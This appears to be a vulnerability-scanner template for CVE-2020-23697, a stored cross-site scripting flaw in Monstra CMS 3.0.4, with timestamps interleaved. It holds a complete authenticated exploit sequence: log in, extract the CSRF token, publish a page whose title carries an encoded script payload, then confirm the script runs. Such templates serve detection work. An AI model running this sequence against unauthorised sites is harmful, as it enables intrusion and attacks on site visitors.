2023-01-10 05:49:47 +00:00
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id: CVE-2020-23697
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info:
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name: Monstra CMS V3.0.4 - Cross-Site Scripting
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author: ritikchaddha
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severity: medium
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description: |
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2023-01-24 16:21:18 +00:00
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Cross Site Scripting vulnerability in Monstra CMS 3.0.4 via the 'page' feature in admin/index.php.
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2023-01-10 05:49:47 +00:00
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reference:
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- https://github.com/monstra-cms/monstra/issues/463
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- https://nvd.nist.gov/vuln/detail/CVE-2020-23697
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classification:
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2023-01-18 08:35:45 +00:00
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 5.4
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2023-01-10 05:49:47 +00:00
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cve-id: CVE-2020-23697
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2023-01-18 08:35:45 +00:00
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cwe-id: CWE-79
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2023-01-10 05:49:47 +00:00
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metadata:
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2023-01-18 08:35:45 +00:00
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verified: "true"
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2023-01-10 05:49:47 +00:00
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tags: cve,cve2020,xss,mostra,mostracms,cms,authenticated
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variables:
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string: "{{to_lower('{{randstr}}')}}"
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requests:
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- raw:
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- |
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POST /admin/index.php?id=dashboard HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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login={{username}}&password={{password}}&login_submit=Log+In
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- |
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GET /admin/index.php?id=pages&action=add_page HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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- |
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POST /admin/index.php?id=pages&action=add_page HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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csrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15
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- |
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GET /{{string}} HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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matchers:
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- type: dsl
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dsl:
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- 'contains(all_headers_4, "text/html")'
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- 'status_code_4 == 200'
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- 'contains(body_4, "><script>alert(document.domain)</script>") && contains(body_4, "Monstra")'
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condition: and
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extractors:
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- type: regex
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name: csrf
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part: body
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group: 1
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regex:
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- 'id="csrf" name="csrf" value="(.*)">'
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internal: true
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